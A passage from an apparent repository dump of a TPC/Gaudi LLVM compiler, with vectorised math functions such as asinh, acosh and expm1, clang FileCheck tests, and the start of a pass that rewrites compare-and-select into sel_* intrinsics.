v_convert_f32_to_i32_v(res, 1);\n\n // if (j & 1)\n j_and_1 = v_i32_and_v_s(j, 1);\n bool256 j_1 = bv_i32_cmp_eq_v_s(j_and_1, 1);\n j = v_i32_add_v_s_vb(j, 1, j, 0, j_1, 0);\n y = v_f32_add_v_s_vb(y, 1, y, j_1, 0);\n\n z = v_f32_mac_v_v(DP1, y, input, 0);\n z = v_f32_mac_v_v(DP2, y, z, 0);\n z = v_f32_mac_v_v(DP3, y, z, 0);\n\n sqr_z = v_f32_mul_v_v(z, z);\n\n bool256 leq_low = bv_f32_cmp_leq_v_s(input, low_range);\n\n y = v_f32_mac_v_v(C1, sqr_z, C2, 0);\n y = v_f32_mac_v_v(y, sqr_z, C3, 0);\n y = v_f32_mac_v_v(y, sqr_z, C4, 0);\n y = v_f32_mac_v_v(y, sqr_z, C5, 0);\n y = v_f32_mac_v_v(y, sqr_z, C6, 0);\n y = v_f32_mul_v_v(y, z);\n y = v_f32_mac_v_v(y, sqr_z, z, 0);\n\n // if (input <= low_range), y = z\n y = v_f32_mov_v_vb(z, y, leq_low, 0);\n\n float64 neg_inv_y = v_div_fast_f32(-1.0, y);\n\n // if (j & 2)\n j_and_2 = v_i32_and_v_s(j, 2);\n bool256 j_2 = bv_i32_cmp_eq_v_s(j_and_2, 2);\n y = v_f32_mov_v_vb(neg_inv_y, y, j_2, 0);\n\n // if (input < 0), input = -input\n y = v_f32_sub_v_s_vb(y, 0.0, y, 1, lt_zero, 0);\n\n // if (abs(input) > lossth), y = 0\n bool256 b_lossth = bv_f32_cmp_grt_v_s(input, lossth);\n y = v_f32_mov_s_vb(0.0, y, b_lossth, 0);\n\n return y;\n}\n\n///////////////////////////////////// ASINH_F32 /////////////////////////////////////////////\nfloat64 v_asinh_f32(float64 input)\n{\n float C1 = 2.0122003309E-2;\n float C2 = -4.2699340972E-2;\n float C3 = 7.4847586088E-2;\n float C4 = -1.6666288134E-1;\n\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0.0);\n input = v_f32_abs_v(input);\n\n float64 z = v_f32_mul_v_v(input, input);\n\n float64 res;\n res = v_f32_mac_v_v(C1, z, C2, 0);\n res = v_f32_mac_v_v(res, z, C3, 0);\n res = v_f32_mac_v_v(res, z, C4, 0);\n res = v_f32_mul_v_v(res, input);\n res = v_f32_mac_v_v(res, z, input, 0);\n\n z = v_f32_add_v_v(z, 1.0);\n z = v_sqrt_f32(z);\n z = v_f32_add_v_v(z, input);\n z = v_log_f32(z);\n\n bool256 geq_half = bv_f32_cmp_geq_v_s(input, 0.5);\n res = v_f32_mov_v_vb(z, res, geq_half, 0);\n\n // sign < 0\n res = v_f32_mul_v_s_vb(res, -1, res, lt_zero, 0);\n\n return res;\n}\n\n///////////////////////////////////// ACOSH_F32 /////////////////////////////////////////////\nfloat64 v_acosh_f32(float64 input)\n{\n float C1 = 1.7596881071E-3;\n float C2 = -7.5272886713E-3;\n float C3 = 2.6454905019E-2;\n float C4 = -1.1784741703E-1;\n float C5 = 1.4142135263E0;\n float LOGE2F = 0.693147180559945309;\n\n bool256 lt_one = bv_f32_cmp_less_v_s(input, 1.0);\n\n float64 z = v_f32_sub_v_s(input, 1.0, 0);\n\n bool256 geq_half = bv_f32_cmp_geq_v_s(z, 0.5);\n bool256 grt_limit = bv_f32_cmp_grt_v_s(input, 1500);\n\n // if z < 0.5\n float64 res;\n res = v_f32_mac_v_v(C1, z, C2, 0);\n res = v_f32_mac_v_v(res, z, C3, 0);\n res = v_f32_mac_v_v(res, z, C4, 0);\n res = v_f32_mac_v_v(res, z, C5, 0);\n\n float64 sqrt_z = v_sqrt_fast_f32(z);\n\n res = v_f32_mul_v_v(res, sqrt_z);\n\n // if z >= 0.5\n float64 plus_one = v_f32_add_v_s(input, 1);\n z = v_f32_mul_v_v(z, plus_one);\n z = v_sqrt_f32(z);\n z = v_f32_add_v_v(z, input);\n z = v_log_f32(z);\n\n res = v_f32_mov_v_vb(z, res, geq_half, 0);\n\n // if input > 1500\n z = v_log_f32(input);\n z = v_f32_add_v_s(z, LOGE2F);\n\n res = v_f32_mov_v_vb(z, res, grt_limit, 0);\n\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n res = v_f32_mov_v_vb(nan_fp32, res, lt_one, 0);\n\n return res;\n}\n\n///////////////////////////////////// ATANH_F32 /////////////////////////////////////////////\nfloat64 v_atanh_f32(float64 input)\n{\n float C1 = 1.81740078349E-1;\n float C2 = 8.24370301058E-2;\n float C3 = 1.46691431730E-1;\n float C4 = 1.99782164500E-1;\n float C5 = 3.33337300303E-1;\n\n // if input < 0.5\n float64 z = v_f32_mul_v_v(input, input);\n float64 res = v_f32_mac_v_v(C1, z, C2, 0);\n res = v_f32_mac_v_v(res, z, C3, 0);\n res = v_f32_mac_v_v(res, z, C4, 0);\n res = v_f32_mac_v_v(res, z, C5, 0);\n res = v_f32_mul_v_v(res, input);\n res = v_f32_mac_v_v(res, z, input, 0);\n\n // if input >= 0.5\n float64 one_plus = v_f32_add_v_v(1, input);\n float64 one_minus = v_f32_sub_v_v(1, input, 0);\n z = v_div_fast_f32(one_plus, one_minus);\n z = v_log_fast_f32(z);\n z = v_f32_mul_v_s(z, 0.5);\n\n float64 abs_in = v_f32_abs_v(input);\n bool256 geq_half = bv_f32_cmp_geq_v_s(abs_in, 0.5);\n res = v_f32_mov_v_vb(z, res, geq_half, 0);\n\n const uint64 inf_int = PLUS_INF_FP32;\n const float64 inf_f = *((float64*)&inf_int);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_f = *((float64*)&nan_int);\n\n bool256 geq_one = bv_f32_cmp_geq_v_s(abs_in, 1.0);\n\n float64 gt_range = v_f32_f32_sel_less_v_v_v_v(input, 0, -inf_f, inf_f);\n gt_range = v_f32_f32_sel_grt_v_v_v_v(abs_in, 1.0, nan_f, gt_range);\n res = v_f32_mov_v_vb(gt_range, res, geq_one, 0);\n\n return res;\n}\n\n///////////////////////////////////// SINH_F32 /////////////////////////////////////////////\nfloat64 v_sinh_cephes_f32(float64 input)\n{\n const float maxlogf = 88.0;\n\n const float C1 = 2.03721912945E-4;\n const float C2 = 8.33028376239E-3;\n const float C3 = 1.66667160211E-1;\n\n float64 abs_val, temp_1, temp_2, result_1, result_2, final_res = 0.0f;\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0.0);\n\n abs_val = v_f32_abs_v(input);\n bool256 gt_one = bv_f32_cmp_grt_v_s(abs_val, 1.0);\n\n // abs_val > 1.0\n\n result_1 = v_exp_cephes_f32(abs_val);\n temp_1 = v_f32_mul_v_s_vb(result_1, 0.5, result_1, gt_one, 0);\n temp_2 = v_div_f32(0.5, result_1);\n result_1 = v_f32_sub_v_v_vb(temp_1, temp_2, result_1, 0, gt_one, 0);\n\n bool256 pred0 = bv_b_and_bv_bv(gt_one, lt_zero);\n result_1 = v_f32_mul_v_s_vb(result_1, -1, result_1, pred0, 0);\n\n // abs_val <= 1.0\n\n temp_1 = v_f32_mul_v_v(input, input);\n result_2 = v_f32_mac_v_v(C1, temp_1, C2, 0);\n result_2 = v_f32_mac_v_v(result_2, temp_1, C3, 0);\n result_2 = v_f32_mul_v_v(result_2, temp_1);\n result_2 = v_f32_mac_v_v(result_2, input, input, 0);\n\n final_res = v_f32_mov_v_vb(result_1, final_res, gt_one, 0);\n final_res = v_f32_mov_v_vb(result_2, final_res, gt_one, 1);\n\n const int64 plus_inf = PLUS_INF_FP32;\n const int64 minus_inf = MINUS_INF_FP32;\n\n // abs_val > maxlog\n\n bool256 gt_maxlog = bv_f32_cmp_grt_v_s(abs_val, maxlogf);\n final_res = v_f32_f32_sel_grt_v_s_v_v_vb(input, 0.0, *((float64*)&plus_inf),\n *((float64*)&minus_inf), final_res, gt_maxlog, 0);\n\n return final_res;\n}\n///////////////////////////////////// COSH_F32 /////////////////////////////////////////////\nfloat64 v_cosh_cephes_f32(float64 input)\n{\n const float maxlogf = 88.0;\n\n float64 recip, result;\n\n input = v_f32_abs_v(input);\n\n result = v_exp_cephes_f32(input);\n\n // z + ( 1 / z )\n\n recip = v_reciprocal_f32(result);\n result = v_f32_add_v_v(result, recip);\n\n result = v_f32_mul_v_v(result, 0.5);\n\n // v_f32_abs_v > maxlog\n\n bool256 gt_maxlog = bv_f32_cmp_grt_v_s(input, maxlogf);\n\n const int64 plus_inf = PLUS_INF_FP32;\n\n result = v_f32_mov_v_vb(*(float64*)&plus_inf, result, gt_maxlog, 0);\n\n return result;\n}\n///////////////////////////////////// MOD_F32 /////////////////////////////////////////////\nfloat64 v_mod_f32(float64 input_x, float64 input_y)\n{\n float64 abs_x = v_f32_abs_v(input_x);\n float64 abs_y = v_f32_abs_v(input_y);\n float64 div_result = v_div_f32(abs_x, abs_y);\n float64 round_result = v_f32_nearbyint_v(div_result, e_round_half_ne);\n float64 mul_result = v_f32_mul_v_v(round_result , abs_y);\n float64 result = v_f32_sub_v_v(abs_x, mul_result, 0);\n\n bool256 bpredv = bv_f32_cmp_less_v_s(result, 0.0);\n result = v_f32_add_v_v_vb(result, abs_y, result, bpredv, 0);\n\n result = v_f32_form_fp_num_v_v_v(result, input_x, result, 0x0);\n\n return result;\n}\n\n///////////////////////////////////// EXPM1_F32 /////////////////////////////////////////////\nfloat64 v_expm1_f32(float64 input)\n{\n const float boundval = 5e-1;\n\n const uint64 flt_min = FLT_MIN;\n const float64 flt_min_fp32 = *((float64*)&flt_min);\n float64 output = 0, temp1 = 0, temp2 = 0, temp3;\n\n // Checking boundary\n\n bool256 leq_bv = bv_f32_cmp_leq_v_s(input, boundval);\n bool256 geq_bv = bv_f32_cmp_geq_v_s(input, -boundval);\n bool256 pred0 = bv_b_and_bv_bv(leq_bv, geq_bv);\n\n // Cases within boundary\n\n output = v_f32_mul_v_s_vb(input, 0.5, output, pred0, 0);\n output = v_tanh_f32(output);\n\n temp1 = v_f32_mul_v_s_vb(output, 2, temp1, pred0, 0);\n temp2 = v_f32_sub_v_v_vb(1, output, temp2, 0, pred0, 0);\n output = v_div_f32(temp1, temp2);\n\n // Cases outside boundary\n\n temp3 = v_exp_f32(input);\n output = v_f32_sub_v_s_vb(temp3, 1, output, 0, pred0, 1);\n\n // Special case of min float\n\n bool256 pred_fmin = bv_f32_cmp_eq_v_v(input, flt_min_fp32);\n output = v_f32_mov_v_vb(input, output, pred_fmin, 0);\n\n return output;\n}\n\n// Remove all pre-processor definitions\n#if defined(__gaudi__)\n #undef v_f32_lookup_c0_v\n #undef v_f32_lookup_c1c2_v\n#endif\n#undef PROCESS_SIN_COS_SPECIAL_VALUES\n#undef SIN_COS_CALC\n#undef LOOKUP_AND_MAC\n#undef CALC_REDUCED_VALUE\n#undef false\n#undef true\n#undef UNIT_VAL\n#undef SIGNIFICAND_MASK\n#undef EXPONENT_MASK\n#undef NAN_FP32\n#undef PLUS_INF_FP32\n#undef MINUS_INF_FP32\n#undef EXP_LOWER\n#undef EXP_UPPER\n#undef FLT_MIN\n#undef FLT_MAX\n#undef M_UNIT_EXP\n\n\n#if __TPC_DROP_VERSION >= VERSION2DEC(35, 0, 0)\n#define INCLUDE_TPC_REDUCTION_CORE_H\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// F32\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// float64 v_f32_reduce_add(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 0\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// float64 v_f32_reduce_mul(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 1\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// float64 v_f32_reduce_min(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 2\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// float64 v_f32_reduce_max(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// uint64_float64_pair_t v_f32_reduce_argmin(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 4\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// uint64_float64_pair_t v_f32_reduce_argmax(float64 x);\n#define REDUCE_DT 0\n#define REDUCE_OP 5\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// I32\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// int64 v_i32_reduce_add(int64 x);\n#define REDUCE_DT 1\n#define REDUCE_OP 0\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// int64 v_i32_reduce_max(int64 x);\n#define REDUCE_DT 1\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n\n// uint64_int64_pair_t v_i32_reduce_argmin(int64 x);\n#define REDUCE_DT 1\n#define REDUCE_OP 4\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// uint64_int64_pair_t v_i32_reduce_argmax(int64 x);\n#define REDUCE_DT 1\n#define REDUCE_OP 5\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// U32\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// uint64 v_u32_reduce_add(uint64 x);\n#define REDUCE_DT 2\n#define REDUCE_OP 0\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// BF16\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n#if defined(__gaudi__)\n\n// bfloat128 v_bf16_reduce_add(bfloat128 x);\n#define REDUCE_DT 3\n#define REDUCE_OP 0\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// bfloat128 v_bf16_reduce_min(bfloat128 x);\n#define REDUCE_DT 3\n#define REDUCE_OP 2\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// bfloat128 v_bf16_reduce_max(bfloat128 x);\n#define REDUCE_DT 3\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n#endif\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// I16\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// short128 v_i16_reduce_min(short128 x);\n#define REDUCE_DT 5\n#define REDUCE_OP 2\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// short128 v_i16_reduce_max(short128 x);\n#define REDUCE_DT 5\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// U16\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// ushort128 v_u16_reduce_add(ushort128 x);\n#define REDUCE_DT 6\n#define REDUCE_OP 0\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// I8\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// char256 v_i8_reduce_min(char256 x);\n#define REDUCE_DT 7\n#define REDUCE_OP 2\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// char256 v_i8_reduce_max(char256 x);\n#define REDUCE_DT 7\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// U8\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// uchar256 v_u8_reduce_min(uchar256 x);\n#define REDUCE_DT 8\n#define REDUCE_OP 2\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n// uchar256 v_u8_reduce_max(uchar256 x);\n#define REDUCE_DT 8\n#define REDUCE_OP 3\n#include \"tpc-reduction_functions_core.h\"\n#undef REDUCE_DT\n#undef REDUCE_OP\n\n#endif //__TPC_DROP_VERSION\n\n#endif // TPC_SPECIAL_FUNCS_INCLUDED\n#endif // TPC_SPECIAL_H_INCLUDED\n" }, { "alpha_fraction": 0.4970930218696594, "alphanum_fraction": 0.5610465407371521, "avg_line_length": 23.571428298950195, "blob_id": "f88a3a38e18e362efd38b6220be0be5adbc102f0", "content_id": "a4d62b0ff23594049f03070c4ce632b027e726d6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 688, "license_type": "permissive", "max_line_length": 92, "num_lines": 28, "path": "/clang/test/RC99/localizer/resolver-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n\nvolatile int __local gval = 123;\n\nvoid main(int x) {\n *(int __local *)x = gval;\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store i32 123, i32 addrspace(1)* null\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 4}\n// CHECK: ![[VSZ]] = !{i32 0}\n\n\n// Initialization of global variable\n//\n// CHECK-ASM: mov.i32 [[REGS0:%S[0-9]+]], 0x7b\n// CHECK-ASM: st_l 0x0, [[REGS0]]\n//\n// Storing value of the global variable\n//\n// CHECK-ASM: LD_L [[REGS1:%S[0-9]+]], 0x0\n// CHECK-ASM: st_l %S0, [[REGS1]]\n" }, { "alpha_fraction": 0.4740259647369385, "alphanum_fraction": 0.5194805264472961, "avg_line_length": 29.799999237060547, "blob_id": "d9a8d75d29170d6cb205df93fcf23c09778c8dec", "content_id": "55510807ac796d7f8ce0a6c9054fabf5dc3e3c0e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 616, "license_type": "permissive", "max_line_length": 96, "num_lines": 20, "path": "/clang/test/RC99/IntrinsicsL/b_b_mov_b_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(_Bool x0, _Bool x1, _Bool pred, int dest) {\n int __local *dptr = (int __local *) dest;\n _Bool res = pred;\n\n res = b_b_mov_b_b(x0, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES:%SP[0-9]+]], %SP{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = b_b_mov_b_b(1, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], 0x1, %SP{{[0-9]+}}\n\n res = b_b_mov_b_b(0, res, pred, 0);\n *dptr++ = res;\n// CHECK: mov [[RES]], 0x0, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5931175351142883, "alphanum_fraction": 0.6062135100364685, "avg_line_length": 36.29175567626953, "blob_id": "55fc182a54a041902a469d49abcf2b27936b8512", "content_id": "0ed3f1411a703954743aab9d4c4a5d3129c3cf43", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 17639, "license_type": "permissive", "max_line_length": 80, "num_lines": 473, "path": "/llvm/lib/Transforms/Scalar/TPCReplaceCmpSel.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-TPCOptUtils.cpp ----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include \"llvm/ADT/DenseMap.h\"\n#include \"llvm/Analysis/VectorUtils.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Transforms/Utils.h\"\n#include \"llvm/Transforms/Utils/Local.h\"\n#include <cassert>\n#include <vector>\n\nusing namespace llvm;\n\nstatic const char PassDescription[] =\n \"TPC replace compare and select with select intrinsic.\";\nstatic const char PassName[] = \"tpc-replace-cmp-sel\";\n\n#define DEBUG_TYPE \"tpc-replace-cmp-sel\"\n\n#define INVALID_ID 0xFFFFFFFF\n\nnamespace {\nclass TPCReplaceCmpSelPass : public FunctionPass {\npublic:\n static char ID;\n StringRef getPassName() const override { return PassDescription; }\n TPCReplaceCmpSelPass() : FunctionPass(ID) {\n initializeTPCReplaceCmpSelPassPass(*PassRegistry::getPassRegistry());\n IntrinsicMap[CmpInst::Predicate::FCMP_OEQ] = Intrinsic::tpc_sel_eq;\n IntrinsicMap[CmpInst::Predicate::FCMP_OGT] = Intrinsic::tpc_sel_grt;\n IntrinsicMap[CmpInst::Predicate::FCMP_OGE] = Intrinsic::tpc_sel_geq;\n IntrinsicMap[CmpInst::Predicate::FCMP_OLT] = Intrinsic::tpc_sel_less;\n IntrinsicMap[CmpInst::Predicate::FCMP_OLE] = Intrinsic::tpc_sel_leq;\n IntrinsicMap[CmpInst::Predicate::FCMP_ONE] = Intrinsic::tpc_sel_neq;\n IntrinsicMap[CmpInst::Predicate::FCMP_UEQ] = Intrinsic::tpc_sel_eq;\n IntrinsicMap[CmpInst::Predicate::FCMP_UGT] = Intrinsic::tpc_sel_grt;\n IntrinsicMap[CmpInst::Predicate::FCMP_UGE] = Intrinsic::tpc_sel_geq;\n IntrinsicMap[CmpInst::Predicate::FCMP_ULT] = Intrinsic::tpc_sel_less;\n IntrinsicMap[CmpInst::Predicate::FCMP_ULE] = Intrinsic::tpc_sel_leq;\n IntrinsicMap[CmpInst::Predicate::FCMP_UNE] = Intrinsic::tpc_sel_neq;\n\n IntrinsicMap[CmpInst::Predicate::ICMP_EQ] = Intrinsic::tpc_sel_eq;\n IntrinsicMap[CmpInst::Predicate::ICMP_UGT] = Intrinsic::tpc_sel_grt;\n IntrinsicMap[CmpInst::Predicate::ICMP_UGE] = Intrinsic::tpc_sel_geq;\n IntrinsicMap[CmpInst::Predicate::ICMP_ULT] = Intrinsic::tpc_sel_less;\n IntrinsicMap[CmpInst::Predicate::ICMP_ULE] = Intrinsic::tpc_sel_leq;\n IntrinsicMap[CmpInst::Predicate::ICMP_NE] = Intrinsic::tpc_sel_neq;\n IntrinsicMap[CmpInst::Predicate::ICMP_SGT] = Intrinsic::tpc_sel_grt;\n IntrinsicMap[CmpInst::Predicate::ICMP_SGE] = Intrinsic::tpc_sel_geq;\n IntrinsicMap[CmpInst::Predicate::ICMP_SLT] = Intrinsic::tpc_sel_less;\n IntrinsicMap[CmpInst::Predicate::ICMP_SLE] = Intrinsic::tpc_sel_leq;\n\n // Create a type map.\n // Limitation: LLVM does not distinguish between unsigned\n // and signed integers. Hence the encoding of unsigned for\n // select intrinsics can't be put here.\n // Need to figure out a way.\n TypeMap[Type::FloatTyID] = 0;\n TypeMap[Type::BFloat16ID] = 1;\n TypeMap[Type::HalfTyID] = 11;\n // i1 Type\n TypeMap[Type::IntegerTyID] = 6;\n // i4 Type\n TypeMap[4 * Type::IntegerTyID] = 9;\n // i8 Type\n TypeMap[8 * Type::IntegerTyID] = 4;\n // i16 Type\n TypeMap[16 * Type::IntegerTyID] = 7;\n // i32 Type\n TypeMap[32 * Type::IntegerTyID] = 2;\n // i64 Type\n TypeMap[64 * Type::IntegerTyID] = 14;\n }\n\n bool runOnFunction(Function &F) override;\n bool replaceCmpSel(Instruction &I);\n bool replaceSelWithSel2(std::pair<Instruction *, Instruction *> Sel);\n unsigned getElementID(Value *);\n bool replaceOrSel(SelectInst &SelInst);\n\nprivate:\n SmallDenseSet<Instruction *> DeleteList;\n std::list<Instruction *> SelList;\n std::pair<Instruction *, Instruction *> sels;\n DenseMap<unsigned, Intrinsic::ID> IntrinsicMap;\n DenseMap<unsigned, unsigned> TypeMap;\n};\n} // namespace\n\nINITIALIZE_PASS(TPCReplaceCmpSelPass, PassName, PassDescription, false, false)\nchar TPCReplaceCmpSelPass::ID = 0;\nFunctionPass *llvm::createTPCReplaceCmpSelPass() {\n return new TPCReplaceCmpSelPass();\n}\n\nstatic std::string getIntrinsicName(Intrinsic::ID IDNum, FunctionType *FType) {\n SmallVector<Intrinsic::IITDescriptor, 8> Table;\n Intrinsic::getIntrinsicInfoTableEntries(IDNum, Table);\n ArrayRef<Intrinsic::IITDescriptor> TableRef = Table;\n (void)TableRef;\n SmallVector<Type *, 4> ArgTys;\n Intrinsic::matchIntrinsicSignature(FType, TableRef, ArgTys);\n return Intrinsic::getName(IDNum, ArgTys);\n}\n\n// Returns true, if the \\p I is OR instruction.\nstatic bool isOrInst(Instruction &I) {\n auto *OrI = dyn_cast<BinaryOperator>(&I);\n if (!OrI || OrI->getOpcode() != Instruction::Or) {\n LLVM_DEBUG(dbgs() << \"Not an Or\\n\");\n return false;\n }\n return true;\n}\n\n// A wrapper to create Sel_* intrinsic call instruction.\nstatic CallInst *CreateSelIntrinsic(IRBuilder<> &Builder, CmpInst *CmpI,\n Value *TrueVal, Value *FalseVal,\n Type *CmpTy, Type *ValTy,\n unsigned int IntrinsicID,\n unsigned int ElementTyID) {\n auto &Context = CmpI->getParent()->getContext();\n SmallVector<Type *, 8> Types{CmpTy,\n CmpTy,\n ValTy,\n ValTy,\n IntegerType::get(Context, 8),\n IntegerType::get(Context, 32),\n ValTy,\n llvm::Type::getInt1Ty(Context),\n llvm::Type::getInt1Ty(Context)};\n\n FunctionType *FType = FunctionType::get(ValTy, Types, false);\n Function *Intrinsic = cast<Function>(\n CmpI->getModule()\n ->getOrInsertFunction(getIntrinsicName(IntrinsicID, FType), FType)\n .getCallee());\n auto *Call = Builder.CreateCall(\n Intrinsic,\n {CmpI->getOperand(0), CmpI->getOperand(1), TrueVal, FalseVal,\n llvm::ConstantInt::get(IntegerType::get(Context, 8), ElementTyID),\n llvm::ConstantInt::get(IntegerType::get(Context, 32), 0),\n UndefValue::get(ValTy),\n llvm::ConstantInt::get(Type::getInt1Ty(Context), 1),\n llvm::ConstantInt::getFalse(Context)});\n return Call;\n}\n\n// This api tries to pattern match \"select + or\" and replace with a call to\n// sel_* intrinsic.\nbool TPCReplaceCmpSelPass::replaceOrSel(SelectInst &SelInst) {\n Value *CV = SelInst.getCondition();\n Instruction *OrInst = dyn_cast<Instruction>(CV);\n // Early exit if not an or instruction.\n if (!OrInst || !isOrInst(*OrInst))\n return false;\n\n // Try to match CMPs feeding into OR.\n Value *TV = SelInst.getTrueValue();\n Value *FV = SelInst.getFalseValue();\n\n Value *OrOp0 = OrInst->getOperand(0);\n Value *OrOp1 = OrInst->getOperand(1);\n\n CmpInst *CmpI0 = dyn_cast<CmpInst>(OrOp0);\n CmpInst *CmpI1 = dyn_cast<CmpInst>(OrOp1);\n if (!CmpI0 || !OrOp1)\n return false;\n\n auto Ty = SelInst.getOperand(1)->getType();\n auto CmpTy = CmpI0->getOperand(0)->getType();\n\n // Check supported predicate\n auto PredKind = CmpI0->getPredicate();\n auto It = IntrinsicMap.find(PredKind);\n if (It == IntrinsicMap.end()) {\n LLVM_DEBUG(dbgs() << \"sel_* intrinsic does not support this predicate\\n\");\n return false;\n }\n // Get intrinsic ID for supported predicate\n auto ID = It->second;\n\n // We only need this transformation for vector types.\n // Exclude co-ordinate vector type.\n auto &Context = SelInst.getParent()->getContext();\n auto CoorType = VectorType::get(IntegerType::get(Context, 32), 5);\n if (!Ty->isVectorTy() || !CmpTy->isVectorTy() || Ty == CoorType ||\n CmpTy == CoorType) {\n LLVM_DEBUG(dbgs() << \"Vector type check failed\\n\");\n return false;\n }\n\n // If the type is not supported for sel_* intrinsic, then return.\n VectorType *VType = dyn_cast<VectorType>(Ty);\n assert(VType != nullptr && \"Type should be a vector.\");\n Type *ElementTy = VType->getElementType();\n unsigned TyID = ElementTy->getTypeID();\n if (ElementTy->isIntegerTy())\n TyID = ElementTy->getScalarSizeInBits() * TyID;\n\n auto TyIt = TypeMap.find(TyID);\n if (TyIt == TypeMap.end()) {\n LLVM_DEBUG(dbgs() << \"Unsupported type for sel_* intrinsic\\n\");\n return false;\n }\n auto ElementTyID = TyIt->second;\n\n // Create new sel_* intrinsic\n IRBuilder<> Builder(&SelInst);\n Instruction *NewSelInst =\n CreateSelIntrinsic(Builder, CmpI1, TV, FV, CmpTy, Ty, ID, ElementTyID);\n CallInst *NewSelIntrinsic = CreateSelIntrinsic(Builder, CmpI0, TV, NewSelInst,\n CmpTy, Ty, ID, ElementTyID);\n\n SelInst.replaceAllUsesWith(NewSelIntrinsic);\n SelList.push_back(NewSelIntrinsic);\n 